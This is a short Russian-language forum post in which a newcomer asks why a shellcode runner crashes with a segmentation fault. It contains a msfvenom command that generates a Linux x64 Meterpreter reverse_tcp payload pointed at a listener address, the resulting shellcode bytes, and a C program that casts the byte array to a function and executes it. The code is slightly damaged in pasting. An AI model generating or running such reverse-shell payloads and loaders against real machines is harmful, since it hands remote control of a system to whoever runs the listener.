
22.06.2017, 12:47
|
|
Новичок
Регистрация: 21.06.2017
Сообщений: 0
С нами:
4681779
Репутация:
0
|
|
Люди добрый, нужен совет!
1)Из metasploit получаю shellcode:
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.123 lport=12345 -b \0x0a\0x0b\0xff -f c > /home/iam/shellcode.c
2) Затем пытаюсь запустить.
#include
#include
unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\ x05\xef\xff"
"\xff\xff\x48\xbb\x83\xa9\xe9\x96\xd1\x41\xaa\xc9\ x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcb\x98\x16\ xfc\xd8\x19"
"\x33\x7f\x93\xe1\x60\x40\x9c\x70\x63\xa3\xa1\xe8\ xb3\x24\xd6"
"\x4e\xaf\x9f\xd3\xc3\xc0\xce\x48\x2b\xa8\x96\xe9\ xa8\xb7\x99"
"\xd4\x09\x3d\x81\x3a\xab\xe9\xa6\xe8\x81\x02\xdb\ x32\xf8\xa1"
"\x1f\x37\x2b\xba\x93\xe9\x83\xb1\x99\xd4\x18\xf4\ x93\x8c\xac"
"\x16\x70\xd1\x41\xaa\xc9";
int main(void) {
printf("Shellcode length: %dn", (int)sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
return 0;
}
НО ОН ВОЗВРАЩАЕТ SEGMENTATION FAULT
В чем может быть дело?
|
|
|